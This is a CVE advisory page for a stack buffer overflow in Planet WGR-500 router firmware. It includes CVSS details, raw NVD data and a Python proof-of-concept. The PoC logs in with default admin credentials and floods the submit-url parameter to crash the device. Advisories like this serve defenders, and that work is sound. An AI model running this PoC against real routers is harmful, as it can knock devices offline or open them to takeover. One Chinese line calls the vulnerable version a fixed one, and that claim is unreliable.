Security Vulnerability Report
中文
CVE-2025-54401 CVSS 8.8 HIGH

CVE-2025-54401

Published: 2025-10-07 14:15:38
Last Modified: 2025-11-03 18:16:59

Description

Multiple stack-based buffer overflow vulnerabilities exist in the formPingCmd functionality of Planet WGR-500 v1.3411b190912. A specially crafted series of HTTP requests can lead to stack-based buffer overflow. An attacker can send a series of HTTP requests to trigger these vulnerabilities.This buffer overflow is related to the `submit-url` request parameter.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:planet:wgr-500_firmware:1.3411b190912:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:planet:wgr-500:-:*:*:*:*:*:*:* - NOT VULNERABLE
Planet WGR-500 固件 < v1.3411b190912(修复版本)
Planet WGR-500 固件 v1.3411b190912

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54401 - Planet WGR-500 formPingCmd Stack Buffer Overflow PoC # Vulnerability: Stack-based buffer overflow via 'submit-url' parameter # Affected: Planet WGR-500 v1.3411b190912 # Author: Security Research import requests import sys TARGET_HOST = "http://192.168.1.1" LOGIN_PATH = "/login.cgi" PINGCMD_PATH = "/apply.cgi" USERNAME = "admin" PASSWORD = "password" def exploit(target_host, username, password, payload_size=4096): """ Exploit CVE-2025-54401: Stack-based buffer overflow in formPingCmd via the 'submit-url' HTTP POST parameter. """ session = requests.Session() # Step 1: Authenticate to the router's web management interface login_url = f"{target_host}{LOGIN_PATH}" login_data = { "username": username, "password": password, } try: resp = session.post(login_url, data=login_data, timeout=10) print(f"[*] Login response status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") return False # Step 2: Craft the malicious 'submit-url' parameter to trigger overflow # The submit-url parameter is passed without proper bounds checking, # causing a stack-based buffer overflow when processed by formPingCmd. overflow_payload = "A" * payload_size # Oversized input to overflow stack buffer # Step 3: Send the crafted HTTP request to the formPingCmd endpoint ping_url = f"{target_host}{PINGCMD_PATH}" exploit_data = { "submit-url": overflow_payload, "action": "formPingCmd", "pingAddr": "127.0.0.1", } headers = { "Content-Type": "application/x-www-form-urlencoded", "Referer": f"{target_host}/ping.html", } try: resp = session.post(ping_url, data=exploit_data, headers=headers, timeout=10) print(f"[*] Exploit response status: {resp.status_code}") print(f"[*] Payload size: {payload_size} bytes") return True except Exception as e: print(f"[+] Target may have crashed (expected on successful overflow): {e}") return True if __name__ == "__main__": host = sys.argv[1] if len(sys.argv) > 1 else TARGET_HOST user = sys.argv[2] if len(sys.argv) > 2 else USERNAME pwd = sys.argv[3] if len(sys.argv) > 3 else PASSWORD exploit(host, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54401", "sourceIdentifier": "[email protected]", "published": "2025-10-07T14:15:37.793", "lastModified": "2025-11-03T18:16:59.253", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Multiple stack-based buffer overflow vulnerabilities exist in the formPingCmd functionality of Planet WGR-500 v1.3411b190912. A specially crafted series of HTTP requests can lead to stack-based buffer overflow. An attacker can send a series of HTTP requests to trigger these vulnerabilities.This buffer overflow is related to the `submit-url` request parameter."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:planet:wgr-500_firmware:1.3411b190912:*:*:*:*:*:*:*", "matchCriteriaId": "B2595E4C-3CBF-44C8-B4E4-56498F94899E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:planet:wgr-500:-:*:*:*:*:*:*:*", "matchCriteriaId": "BD4C9C5C-B223-4AED-9210-E0ADA4150E0B"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2226", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2226", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}